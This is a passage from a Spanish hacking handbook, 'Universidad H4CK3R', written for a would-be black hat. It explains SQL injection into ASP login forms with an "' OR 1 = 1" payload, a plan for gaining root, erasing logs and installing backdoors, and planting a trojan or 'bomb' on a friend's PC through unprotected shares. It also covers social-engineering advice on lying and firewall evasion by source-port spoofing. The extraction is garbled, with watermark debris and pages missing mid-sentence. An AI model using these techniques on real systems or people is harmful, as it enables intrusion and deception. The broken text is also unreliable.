descubrir los nombres de bases de datos y usuarios.
PostgreSQL fue slo un ejemplo, usted puede hacer
esto con cualquier base de datos, incluyendo MSSQL o Access, cuando se configuran como fuentes
de datos ODBC para la creacin de redes. Una
instalacin con las opciones por defecto de la base
de datos a ser atacada, en la mquina del atacante,
ayuda mucho para descubrir las cuentas estndar. Si
estn bien escritos, los scripts de conexin a SQL y
ODBC, pueden ayudar en una eventual fuerza bruta.
Profundice en las tecnologas de bases de datos.
Internet est lleno de tutoriales serios sobre el tema.
Le recomendamos, antes de tratar de atacar este tipo de programas, saber cmo
utilizarIos correctamente. Hmm, tal vez es hora de que deje de leer el libro otra vez ...
- Las contraseas en la Web (teora x prctica)
Todos los sitios importantes piden a los internautas que se registren para acceder a unos
contenidos exclusivos. Despus del registro, es necesario que el internauta proporcione
un usuario y contrasea cada vez que entra en el sitio. Si el servicio se cobra o no, no
174
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
importa. Los datos del usuario sern catalogados y mantenidos en una base de datos y
utilizados por la empresa que mantiene el sitio web para cualquier propsito. Por lo
general, estas empresas tienen y ponen de manifiesto una poltica de privacidad,
asegurando que sus datos estn en un entorno seguro, libre de ojos traviesos y que la
propia empresa no los va a divulgar voluntariamente bajo ningn pretexto. A pesar de las
dudas, en la mayora de los casos, creemos en la palabra de los profesionales a quienes
confiamos nuestra informacin, as como en la seguridad de sus sistemas.
Toda esta charla nos hace creer que nuestros datos estn seguros, no? Irnico error. No
siempre los sitios hacen uso de herramientas adecuadas para desarrollar sus productos y
servicios. Se pueden utilizar varias tcnicas para engaar a las rutinas de login y obtener
un acceso privilegiado al sitio e incluso obtener los nombres de usuario y contraseas de
otros usuarios. Una de las tcnicas se conoce como inyeccin de SQL, que consiste
en insertar comandos SQL en los campos de nombre de usuario y contrasea, de
acuerdo con el mensaje de error devuelto por el servidor, al mapear la base de datos de
usuarios. Este mtodo funciona para secuencias de comandos ASP que utilizan llamadas
SQL, pero puede ser adaptado para cualquier lenguaje de script o CGI, como PHP o Perl.
La sintaxis puede ser diferente, pero el mecanismo es similar.
TIEMPO! Conoce ASP SQL y PHP? No? Es una lstima, pero me veo obligado a sugerir
que dejes de leer el libro otra vez y trates de aprender sobre estos temas. Comienza con
una base de datos simple como MySQL y un lenguaje libre como PHP. Buenos puntos
de partida son los sitios Webmonkey (www.webmonkey.com) y Developer's Shed
(www.devshed.com). La web oficial de PHP (www.php.net) y MySQL (www.mysql.com)
son tambin muy productivos. Una bsqueda en google por las palabras "PHP My SQL
Tutorial" y buenos libros sobre el tema (y hay muchos) completaran tus necesidades
iniciales.
Se supone que siempre hay una tabla dentro de la base de datos, que contiene toda la
informacin de los registros de usuarios. No es supuesto: esa tabla es necesaria! No
sabemos (todava) cual es el nombre de la tabla - puede ser user, usuario, UserDB,
papagayo, Bolsadepipas - as que por ahora, vamos a llamarlo UserTable. La UserTable
puede tener varios campos, tales como direccin, nmero de telfono, e-mail de
confirmacin o tarjeta de crdito. Pero hay cuatro campos que son necesarios en
cualquier tabla. Los nombres de campo, obviamente, pueden variar, pero sus funciones
son generalmente las mismas:
- ID: Un identificador nico para cada usuario en el sistema. Se llama "clave principal", y
es necesaria para el buen funcionamiento de la tabla y sus relaciones con otras tablas.
- Nombre completo: El campo no es tan importante para la autenticacin, pero es una
manera de personalizar el funcionamiento del sitio para cada usuario.
- Usuario y Contrasea: Los campos ms importantes, garantizan el acceso al sitio a los
usuarios registrados.
- Admin: Un flag que indica si el usuario tiene poderes especiales para administrar el sitio.
Un ejemplo de tabla sera el siguiente:
175
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
ID
1
2
3
4
...
Uni
v
er
s
i
da
dH4CK3R
Nombre y apellidos
Login
Ulbrich
james
suzy
fcruz
...
Contrasea
W6rYwH
D3114V4113
palomitas de maz
blaublau01
...
Admin? (S/N)
S
S
N
N
...
Este fragmento de la tabla revela cosas interesantes. Lo que salta a la vista es que las
contraseas de los usuarios habituales suelen ser muy dbiles, y un buen ataque de
diccionario fcilmente las descubrira. Pero hay algo que, de tan obvio, pasa
desapercibido para la mayora de las personas: los administradores a menudo son los
primeros nombres en la lista. En ms del 90% de los casos, el ID 1 de la tabla
corresponde a un desarrollador, que sin duda se dio poderes de administrador para hacer
las pruebas necesarias. Esta informacin ser til ms adelante.
Volviendo al sitio. Cuando el usuario rellena los campos de login y contrasea, la
secuencia de comandos ASP los guarda, cada uno en una variable. Llamemoslas login y
contrasea. No es muy original, pero estate seguro de que un gran nmero de sistemas
utilizan exactamente estos nombres, algunas variaciones de ellos o su equivalente en
Ingls.
El siguiente paso sera el script ASP para comparar los dos campos con los que se ha
registrado, para permitir o bloquear el acceso al sitio. Un comando de ejemplo ASP sera:
SQLOpen = ''SELECT login, contrasea, nombre, admin
FROM tabla_usuarios
WHERE login = ' '' &Login& '' '
AND contrasea = ' '' &contrasea& '' ' ''
Lo que hace este comando es enviar a la base de datos SQL la lista de todos los usuarios
que contienen el nombre de usuario y contrasea proporcionada. Por ejemplo, si un
internauta escribe, como nombre de usuario y contrasea, "junior" y "fabio", la cadena
SQL se vera as:
SELECT login, contrasea, nombre, admin
FROM tabla_usuarios
WHERE login = 'junior'
AND contrasea = 'fabio'
En pocas palabras, este comando le pedir a la base de datos una lista de todos los
registros cuyo campo login sea junior y su campo de contrasea sea fabio. En un
sistema bien hecho, no habr logins repetidos, por lo que el banco devolver los datos del
usuario, si es que existe. Compare el comando ASP y los comandos SQL puros. En
primer lugar, las comillas separan lo que es una cadena pura de lo que es un comando
ASP. Las comillas simples se consideran parte de la cadena pura. Como podemos ver,
los valores asignados a los campos de login y contrasea estn entre comillas simples.
Hmmm ... Y si pongo en el centro de mi entrada, una nica oferta, as (por ejemplo, jun
'ior) El resultado de comando SQL es:
176
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
contrasea: <blanco>
o
login: neide
contrasea: ' OR 1 = 1
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
178
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
179
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Parte 3
3 Ao de la universidad:
Convertirse en un hacker
180
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Ataque, defensa
y contraataque
Introduccin
Capitulo - 10
() Como hizo Romulo, o como quiera que
se llamase el jefe de aquellos tipos, para
conseguir mujeres para si y para sus
compaeros. Dio una gran fiesta () he
invito a sus vecinos, los sabinos () que
trajeron a su rey, Tito Tazio, y sobre todo a
sus hijas ()
Indro Montanelli, "Storia di Roma", 1957
Un excelente ejemplo de ingeniera social de aquel tiempo.
La fase de planificacin de este festival es algo digno de leer .
181
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Llegamos a la parte crucial de nuestro curso. Hasta ahora hemos visto diversas tcnicas
puntuales y especficas de ataque, utilizando herramientas disponibles o basadas en
conceptos muy rudimentarios. Fuera de eso pasando por los captulos Vulnerabilidades I
y II, no se mostr una estrategia o planificacin. Haciendo una analoga con el mundo
real, nos ensean a apretar tornillos, a estampar piezas en acero, el diseo de circuitos
elctricos, la instalacin del estreo de su automvil y la fabricacin de piezas de plstico
y neumticos a partir de derivados del petrleo. Pero no nos ensean cmo montar el
coche.
A partir de ahora, empezamos a ver las cosas de una manera ms sistemtica, siguiendo
un orden lgico y fundamentando todos los procedimientos con informacin sobre las
tecnologas involucradas.
UN MOMENTO: para fines didcticos, consideramos que el lector quiere convertirse en un
black hat y orientamos el texto a ese objetivo. Sin embargo, los autores repudian eso y se
eximen de la responsabilidad de cualquier acto derivado de la informacin contenida en
este documento, su uso es responsabilidad del lector. Recuerde que esta informacin
est disponible gratuitamente en lnea y se pueden encontrar fcilmente.
Los seis pasos para un hacking feliz
Seis? No eran cuatro?. En el captulo 7 (Vulnerabilidades I), se describe una pequea
gua para la planificacin y ejecucin de ataques, que reproducimos a continuacin:
1. Despus de descubrir la vulnerabilidad, no trate de invadir a su presa inmediatamente.
Al contrario, conozca a su vctima. Visite su sitio web (sin ataque, tan slo mirar). Si esta
en su ciudad, visite su sede y trate de averiguar ms sobre los productos, trabajos,
servicios, empleados, hbitos ... Se pueden utilizar tcnicas pasivas (de observacin para
ver lo que pasa y lo que sale de la mquina o red) o activas, tales como la organizacin
de miniataques a lugares aislados y comprobar los mensajes que se devuelven. Lo
importante es recoger informacin suficiente para elaborar un plan de accin, mejor con
varias alternativas, en caso de que algo vaya mal.
2. El acceso por primera vez nunca se olvida. Esta es la parte ms importante del ataque.
Se podra decir que este paso es el ataque en s. Despus de descubrir la vulnerabilidad y
examinar el comportamiento de la vctima, utilice el exploit adecuado para obtener un
acceso limitado al sistema. Y no se olvide de usar un proxy publico para ocultar su
direccin IP!
3. Una vez con acceso limitado, el siguiente paso consiste en tener acceso completo a la
mquina (acceso root en Unix, y de administrador en sistemas WinNT - en Win9x, el
primer acceso ya proporciona un control total). Cada sistema operativo tiene diferentes
procedimientos para hacerlo. Una vez que tenga acceso sin restricciones, simplemente
recoja la informacin deseada y, si fuera el caso, desconfigure el sistema.
4. Ahora que se ha "apropiado" del sistema, trate de borrar sus huellas e instalar puertas
traseras. Compruebe los registros del sistema y borre lo que en l se diga de su visita,
PERO SOLO ESO!. Resista la tentacin de eliminar el registro del todo - un "agujero" en
182
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
PROGRAMA
ABURRIDO
Slo ese marco ya plantea varias preguntas:
1. Qu programa utilizar?
2. Como se instala?
3. Se activar por tiempo o por eventos?
4. Tiene un tamao mximo definido?
5. Su amigo entiende de ordenadores y sabr qu hacer cuando el programa salte?
6. Quiere que el programa diga el nombre del autor de la broma o que guarde silencio
hasta rerse lo suficiente?
Una vez planteadas las preguntas iniciales (no te preocupes, aparecern mas...), tenemos
que tomarnos algn tiempo para pensar e investigar para responderlas. Algunas
respuestas plausibles podran ser:
1. Su amigo es un fantico seguidor del Bara. Un enfermo. Cuenta con cromos,
camisetas oficiales autografiadas por jugadores de distintos aos, es miembro fundador
del club ... Qu tal una animacin Flash, creada por aquel colega suyo que es diseador
web, celebrando la derrota del Bara por el Real Madrid?
Animacin Flash? Esto significa que la vctima utiliza Windows. Si utiliza un Mac o Unix
no va a funcionar. Este es un ejemplo de cmo la planificacin, aunque va bien, necesita
ajustes. Se imagina si hubiese enviado la animacin "esa locura" y descubre ms tarde
que no funcion debido a que su amigo/vctima utiliza FreeBSD?
Tenemos, entonces, a travs de la ingeniera social (o con la ayuda de Nmap ,...) que
conocer el sistema operativo de la vctima. A travs de la ingeniera social, descubrimos
que es Windows Me.
2. La instalacin es otro problema. Usted puede hacer que su amigo instale la bomba por
185
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
usted, slo tiene que enviarla por e-mail diciendo que es un vdeo divertido. Sin embargo,
la vctima es desconfiada (eso ya lo sabe, lo conoce desde hace aos), y no abrir
cualquier cosa que le enven.
Usted podra desarrollar un correo electrnico HTML con un VBScript que instala
automticamente el programa, pero hay que saber qu cliente de correo electrnico
utiliza. A travs de la ingeniera social, descubrimos que utiliza The Bat
(www.ritlabs.com/the.bat - los autores lo recomiendan !!!), que es muy apreciado,
precisamente porque es inmune a estas cosas.
O usar una vulnerabilidad en Windows. Para eso necesitamos ejecutar cualquier escner
como Nmap. Pero no tenemos su IP, entonces es necesario usar algn truco para
descubrirlo.
Usted debe encontrar una manera de hacer que el Flash se dispare despus de un tiempo
o responda a un evento. Las tres opciones mas simples, sin tener que interactuar
profundamente con el propio sistema operativo, son:
- Un troyano, por lo que podrs controlar a distancia la bomba;
- El Flash "fundido" a un programa del sistema (como la calculadora o el Bloc de notas)
para que, cuando se abra, entre en funcionamiento;
- Ejecutarse el propio Flash en el arranque y dar un tiempo de espera de por lo menos
una hora para entrar en accin;
- Una combinacin de todos ellos.
En estos casos, necesitamos saber cmo es la conexin de nuestro amigo para
determinar el tamao de la animacin. Si la vctima tiene un mdem de 33,6 K,
ciertamente notara si estamos haciendo una subida de 2 Mbytes de animacin en Flash ...
Preguntando, descubres que est abonado a un gran proveedor nacional de acceso
rpido - Mira, una informacin que puede ser til ms adelante ...
Su amigo es inteligente, es un ingeniero electrnico y un usuario avanzado de
computadores. Sin embargo, no entienden los detalles internos del software (su negocio
es de hardware) y siempre le pide ayuda para "calibrar" Windows cuando "se bloquea ".
(Quien sabe si no es por eso que tu, inconscientemente, ests haciendo esta putadita?)
Hmm ... si pones todas esas preguntas, respuestas y ponderaciones sobre las respuestas
en una hoja de papel, despus de algn tiempo leyendo y releyendo el resultado, tenemos
el diagrama. La ultima pregunta que surge de su anlisis es: cmo entrar? No sabemos
cuales son las vulnerabilidades existentes, nosotros no tenemos la IP de la vctima para
buscarlas.
Hay varias maneras de obtener IP de alguien. Una es preguntndolo. La mayora de la
gente no va a sospechar que es para algo "malo". Pero no es el caso de su amigo.
Alguna vez hablas con l a travs de Mensajera Instantnea?. Hace unos aos, el
mismo cliente de Mensajera Instantnea deca la IP de otra persona. Hoy en da existe la
posibilidad de ocultar esta informacin. Sin embargo, segn la versin y las opciones
elegidas en la configuracin, los ms modernos pueden revelar esa informacin. Eso es
porque la Mensajera Instantnea se puede conectar en ambos lados de la conversacin
ya sea directamente o a travs de un servidor central.
186
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Vamos a hacer un intento. Espera que l este en lnea y comienza una conversacin.
Apaga todos los accesos a Internet en tu ordenador: correo electrnico, navegadores,
eMule, KaZaA, MSN Messenger, dejando slo la Mensajera Instantnea. Intercambia
algunos mensajes con l y pdele que te enve algn archivo relativamente grande (MP3,
imgenes, programas, lo que sea). Antes de aceptar el envo, abra una ventana de MSDOS.
Durante la transferencia, utilice el comando netstat -na en la ventana de MS-DOS, de la
misma manera como lo hizo en los captulos Vulnerabilidades II y Redes II. En la lista de
conexiones que van a aparecer, las ltimas de ellas son las IPs de tu conversacin y del
intercambio de archivos. La direccin IP remota que se muestra es la de el.
Este truco funciona con cualquier transferencia de datos en lnea entre los dos equipos. El
correo electrnico no est en lnea, el que transfiere es el servidor SMTP, no la persona
que lo envi. En el caso de MSN Messenger, AOL Instant Messenger y Yahoo
Messenger, los mensajes son siempre intermediados por sus servidores, por lo que
netstat mostrar la IP del servidor Passport.NET, por ejemplo ... Con una excepcin: la
transferencia de archivos peer-to-peer. Si su amigo utiliza MSN, pdale que le enve un
archivo grande. La IP sin duda van a aparecer en la lista de netstat con este truco.
Ahora que tenemos IP de la vctima, la escaneamos. Usando Nmap, encontramos que,
por descuido, nuestro amigo ingeniero dej las comparticiones de disco duro activas y sin
contraseas. Nada podra ser ms sencillo que abrir un explorador de Internet y escribir
\\IP.DE.LA.VCTIMA.AQU. Ya se encuentra en su mquina, usted puede abrir y editar
archivos.
Con estos cambios, nuestro diagrama ya es funcional. Preparamos ahora, una lista
secuencial de los pasos para nuestro ataque? Al fin y al cabo, no podemos hacer todo al
mismo tiempo, as que tenemos que organizar las cosas. A continuacin hay una lista de
pasos. Es interesante dejar un espacio debajo de cada tema, as usted puede escribir los
resultados, comentarios o problemas.
Los comentarios entre parntesis no son parte de la secuencia de comandos. Ellos son
nicamente una gua para la elaboracin del plan de trabajo para cumplir los fines
previstos.
- Pasos para hackear a fulano de tal
1. Ingeniera social: conversacin informal para encontrar los detalles del sistema
operativo.
2. Buscar: Determinacin de la IP con Mensajera Instantnea y netstat. Si el paso 1 se
realiza tambin por mensajera instantnea, mat a dos pjaros de un tiro. (Quemar
etapas es deseable dado que no interfiere en su seguridad.)
3. Escanear a la vctima con Nmap y luego comprobar las vulnerabilidades con Nessus.
(La lista se detendra aqu hasta descubrir que atacar. Es un ejemplo de 1-2-1-3-1.)
4. Descubierta la vulnerabilidad de comparticin. Preparar el archivo con bomba que se
implantara en la vctima. Flash con bomba de espera. Usar rutinas y tal y tal. (Utilice
siempre herramientas y lenguajes que conozca bien! Los resbalones son fatales )
187
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
189
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Ataque, defensa y
contraataque
Observacin
Capitulo - 11
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
La diferencia entre los "script kiddies" y los black hats ms inteligentes est en esta
etapa (de hecho, comienza en la anterior, pero muchos buenos black hats reconocidos
abandonaron la fase de preparacin). Al igual que las bandas vigilan los bancos durante
meses y los secuestradores acampan frente a la casa de sus vctimas, los atacantes
digitales dignos de este nombre, deben observar a sus presas mucho antes de lanzarse
sobre ellos como halcones sobre un pollo enfermo.
Este captulo tratar brevemente de algunas reas en las que el potencial atacante podra
tratar de recopilar informacin sobre empresas, personas y, en especial, sus sistemas
informticos y la conectividad. En resumen: quieres salir a jugar a la calle? Antes debes
de hacer tus deberes!
Ingeniera Social
En el captulo 6, tuvimos un primer contacto con el arte de mentir. Como las mentiras, el
engao y la deshonestidad son tan viejos como los primeros monos parlantes que
existieron, no hay manera de describir todos los procedimientos posibles.
No vamos aqu a repetir lo que dijimos en el captulo 6. Utilice el mal que el 100% de las
personas tienen escondido por ah en algn rincn y desarrolle sus propios mtodos. Lo
que funcion para Mitnick puede no funcionar para usted.
Sugerencias? Hay algunas:
- Tome clases de interpretacin. Consejo obvio.
- Imposturas de voz, la seguridad y la fuerza son importantes. Toma clases de canto.
- Busque libros sobre la programacin neuro-lingstica. Te hars un gran favor.
- Acostmbrate a mirar SIEMPRE a la basura, incluso en casa! Sea un black hat en sus
hbitos
- Mienta a su jefe, a su madre, al sacerdote en la confesin. Practique la mentira. Ella es
su herramienta ms poderosa. Ni todos los escaneres del mundo pueden descubrir las
cosas que preguntas sencillas, con la entonacin correcta, pueden, en cinco minutos.
No basta con saber lo que ests haciendo. Debes saber por qu lo ests haciendo. Si
tienes una respuesta rpida cuando se te pregunta "por qu quieres invadir mi
empresa?" Puedes seguir adelante. Pero no olvides que, una vez dentro, se har un
rastreo. Si ya sabes qu hacer cuando ests entre los muros del castillo, muy bien. Si no
lo sabes, no lo intentes! Y no hay que olvidar que, en funcin de tus intenciones, puedes
estar incurriendo en un delito.
Una gran red
Puedo contar con los dedos de una mano las cosas que no he encontrado en Internet.
Una vez, estaba ayudando a mi novia francofona a buscar letras de "chansons" en
francs para una recopilacin que estaba haciendo. Una cancin, "a ira" (que tiene
varias versiones con diferentes letras), estaba siendo difcil de encontrar. Tras el dilogo:
- No puedo encontrarlo aqu.
- El qu?
191
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Defensa y contraataque
Desafortunadamente, no se puede hacer mucho para defenderse de la informacin
obtenida de bases de datos WHOIS. La informacin de este servicio debe estar disponible
universalmente, por lo que no hay nada que hacer. Los recientes casos de
desconfiguraciones (como el sitio de Digerati Editorial) fueron posibles con la informacin
obtenida de whois y luego con un poco de ingeniera social, obteniendo las contraseas
para cambiar el DNS. Es un caso tpico de un error humano. El problema no era la
informacin WHOIS, sino las contraseas dbiles y vulnerabilidad social.
Las transferencias de zona de servidores DNS de hecho se pueden evitar. Cree reglas en
el servidor para restringir las transferencias de zona slo entre los servidores DNS de su
dominio, o con los servidores DNS raz.
Como hasta aqu no hay nada ilegal en las actividades del black hat, porque toda la
informacin recogida es pblica, no hay manera de lanzar un contraataque. Sobre todo
porque, debido al enorme trfico, rastrear accesos a los servidores whois y DNS es
imposible.
Pero, S! Se pueden tomar medidas preventivas (adems de restringir la transferencia de
zona - esto es muy importante) para evitar fugas de informacin innecesaria a Internet.
Entre ellas:
- Hacer una limpieza en casa! Hurgar en su sitio web y eliminar cualquier cosa que pueda
dar, indebidamente, informacin restringida o confidencial para permitir un ataque.
- Crear polticas sobre lo que puede ser publicado en el sitio y se transmite por correo
electrnico. Crear castigos (por desgracia, es necesario) si un empleado pone en riesgo a
la empresa divulgando algo que no debiera. Y nada de poner banderitas con: "Funciona
con Windows NT4" o "Running Linux 2.2."
Haga campaas de prevencin, avisando a los usuarios de e-mails sobre el peligro de
enviar datos internos de la empresa hacia fuera. Recoja la investigacin que usted hizo en
la web con los nombres o mensajes de correo electrnico de sus empleados y organice
una presentacin para ilustrar sus campaas.
196
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Ataque, defensa y
contraataque
Bsqueda
Capitulo - 12
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Igual que los militares, utilizan los servicios de inteligencia para elaborar informes sobre el
objetivo y solo despus van al campo a observar, nosotros tambin tenemos que
investigar todas esas informaciones, desarrollar planes de accin y hacer una estrategia
de ataque. En esta nueva etapa vamos a hacer lo que los militares llaman reconocimiento:
comprobar los datos obtenidos, rellenar posibles lagunas, corregir las diferencias y
obtener datos de reas antes inaccesibles. Recuerde, despus de volver de la bsqueda,
realimentaremos nuestra hoja de ruta con la informacin obtenida. Nunca se aleje de 1-21-3-1-4-1-5-1-6-1!
Cartografa aplicada a Internet
Es hora de descubrir cmo es la red de nuestra vctima. El hacker utiliza herramientas de
escaneo, como las que vimos en Vulnerabilidades I y II, para probar la red y descubrir, en
primer lugar, como esta montada (topologas, sistemas de cortafuegos e IDS, servidores y
estaciones de trabajo - incluyendo alrededor de sus sistemas operativos) y hacer un mapa
lo ms detallado posible de lo que, para l, todava son "aguas desconocidas".
Vamos a empezar con un diagrama simple:
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
199
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Ahora, traceroute/tracert se utiliza en cada uno de los IPs descritos. La sintaxis es muy
simple: traceroute -n IP.QUE.QUEREMOS.VERIFICAR. La salida de un traceroute es
similar a lo siguiente:
1 192.168.1.162 0.524 ms 0.235 ms 0.204 ms
2 200.204.171.155 1.084 ms 1.040 ms 1.028 ms
3 200.204.174.122 11.322 ms 18.636 ms 272.474 ms
4 200.207.199.121 602.530 ms 513.476 ms 524.081 ms
5 200.205.255.219 559.810 ms 531.438 ms 610.651 ms
6 200.205.255.212 817.968 ms 596.748 ms 576.567 ms
7 200.205.254.134 527.308 ms 523.359 ms 548.114 ms
... (continua)
El parmetro -n es slo para evitar que traceroute busque los nombres DNS de las
direcciones IP mostradas. Los hackers deben actuar con diligencia para grabar (o grabar
e imprimir) todas las salidas traceroute para todas las IPs que se encontraron con ping. Si
intentas seguir esa lista hacia atrs, te dars cuenta de que muchas de las mquinas
estn vinculadas. En nuestro ejemplo, vemos que la salida de traceroute del host
200.xxx.10.10 nos dice que la mquina anterior es 200.xxx.10.1. Entonces, esto significa
que las mquinas estn conectadas! En nuestro diagrama:
Cruzando los datos de todos los traceroutes, el hacker tiene la siguiente visin:
200
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Como puede ver, el Cheops automatiza los procedimientos con ping y traceroute (que
deben estar presentes en el sistema) y ademas utiliza la tcnica de finger printing (se vera
ms adelante) para adivinar el sistema operativo en cada nodo.
Buscando puertos abiertos
En los dos captulos de vulnerabilidades, vimos algunas herramientas para comprobar si
haba servicios "escuchando" en los puertos TCP o UDP. En aquel momento, vimos el
escaneo de puertos como un proceso aislado. Ahora que sabemos dnde encaja en el
desarrollo de nuestras bsquedas, le podemos prestar ms atencin.
Aunque hay cientos de escaneres de puertos, sin duda el Nmap es el que tiene una mejor
relacin precio/calidad: es gratis, tiene un buen conjunto de test y est en continuo
desarrollo.
Para conocer las opciones de Nmap, consulte la pgina de manual (man nmap) o la
Ayuda en la versin de Windows. Las versiones con interfaces (Windows y Unix) tienen,
en el panel de control, teclas para casi todas las pruebas y una barra de estado en la que
se muestra como sera la lnea de comandos. No entraremos en detalles aqu del uso de
Nmap. En su lugar, hablemos de las diferentes formas de "torcer" el protocolo de enlace
TCP.
El comando nmap ejecutado sin argumentos realiza una conexin completa en el puerto
201
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
de prueba, lo que significa que se respeta todo el protocolo de enlace TCP. Obviamente,
este anlisis es muy ruidoso y fcilmente detectable.
- Eleccin de los puertos de origen
Algunas redes permiten que ciertos puertos de origen puedan hacer conexiones fuera de
Internet. Como vimos en Redes II, los filtros de paquetes que funcionan como firewalls
borran las conexiones venidas de Internet basndose en reglas. Entre las normas ms
comunes y formuladas, esta la que borra todos los puertos no privilegiados (es decir,
superiores a 1023) desde el exterior hacia el interior de la red. Con eso, el administrador
cree que esta protegiendo su red frente a conexiones originadas en las mquinas de los
hackers.
Puede creerlo, pero cree mal! Nada impide a los hackers manipular los puertos de origen
de sus paquetes TCP y UDP enviarlos al firewall de la vctima, hacindole creer que son
respuestas vlidas a solicitudes desde dentro de la red.
El ejemplo clsico es el puerto 80. Si el black hat combina el uso de, 80 como su puerto
de origen (los escaneres de puertos dignos de ese nombre lo permiten) con el flag ACK
activado, el incauto firewall cree que esto es un paquete vlido y lo dejar pasar.
Otros puertos que pueden ser de inters: 20 (respuesta FTP), 21 (Solicitud de FTP), 25
(respuesta SMTP), 53 UDP y 53 TCP (solicitud de DNS y respuesta), 666/667 TCP y UDP
(respuesta del servidor Doom y Quake seguro que, su administrador dejo estas abiertas
para jugar de noche). Recuerda: estamos hablando de puertos de origen. Los puertos de
destino sern escaneados. Tal vez un estudio de la RFC1700 (www.ietf.org/rfc.hyml) sea
revelador.
Para saber qu puertos del firewall estn dejado pasar, ademas de estas obvios,
podemos utilizar los patrones de fingerprinting (explicado ms adelante), en combinacin
con tcnicas de ping y traceroute, para averiguar las reglas del cortafuegos. Hay
muchos programas para hacer esto, pero uno es digno de mencin. Existe solamente
para Unix y se llama FirewaIk (www.packetfactory.net/firewalk/). tiene un manual que, si
bien no es grande, al menos es bastante completo. Con el Firewalk, es muy fcil
determinar los puertos abiertos de un de filtro de paquetes funcionando como firewall, y
despus, ejecutar escaneos de puertos dirigidos a las mquinas internas a travs de
estos puertos no filtrados.
202
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
- Hay ms?
Existen varias tcnicas de anlisis de puertos. La lista de todas no sera posible en un
libro de 350 pginas como ste. Pero mas abajo damos la lista de algunas, cuya
descripcin se puede encontrar fcilmente en Internet.
- FTP Bounce: utiliza una caracterstica antigua de los servidores FTP, que es la
capacidad de utilizar un servidor FTP como intermediario con el fin de enviar un archivo a
un tercer equipo. Cmo es posible controlar en que puerto se realizara la conexin?, se
puede, manualmente, escaneando todos los puertos de la tercera mquina (la vctima)
hasta obtener la conexin. En la vctima, se registrar la direccin IP del servidor FTP y
no la del hacker. Tambin se llama FTP forwarding.
- Fallos de las RCP: ya hablamos de Remote Procedure Calls en Redes I. Todos los
sistemas operativos tienen alguna aplicacin de los servicios de RPC, y casi todos tienen
alguna que responde incorrectamente a una conexin, revelando que acepta la conexin
(aunque no necesariamente sean vulnerables). Puedes buscar RPC Scan y RPC
Exploit.
Buscando lagunas
Ya hemos hablado acerca de los agujeros de seguridad en los dos captulos sobre las
vulnerabilidades. Lo qu hace un escner de vulnerabilidades, por lo general, es probar
cada uno de los servicios ofrecidos de acuerdo a unas normas preestablecidas. Si el
sistema responde tambin de conformidad con normas pertenecientes a versiones con
fallos reconocidos, el escner da informe de "fallo" y por lo tanto, posiblemente,
vulnerable. Todos los fingerprints (tanto de solicitud como de respuesta) se almacenan en
una base de datos cuya actualizacin es constante y continua.
Habamos preparado para esta seccin, un texto muy largo, informativo y fcil de digerir
sobre diferentes escaneres de vulnerabilidades. Pero viendo todo, pensamos, "estamos
negando al lector la oportunidad de aprender."
De hecho, si le diramos el pez, le estaramos condenando a ser un script kiddie el resto
de su vida. Si le enseamos a pescar, sin embargo, no tendra la oportunidad de pensar,
